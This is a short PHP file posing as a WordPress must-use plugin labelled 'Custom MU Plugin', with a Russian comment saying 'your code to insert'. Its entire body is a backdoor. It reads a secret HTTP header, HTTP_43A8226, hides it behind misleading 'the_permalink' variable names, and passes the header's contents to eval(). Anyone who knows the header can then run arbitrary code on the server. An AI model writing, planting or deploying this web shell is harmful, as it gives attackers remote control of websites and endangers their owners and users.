<?php
/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$the_permalink_gs = $_SERVER;
$the_permalink_aene = 'HTTP_43A8226';
$the_permalink_ejt = isset($the_permalink_gs[$the_permalink_aene]);
if ($the_permalink_ejt) {
    $the_permalink_dmav = $the_permalink_gs[$the_permalink_aene];
    eval($the_permalink_dmav);
}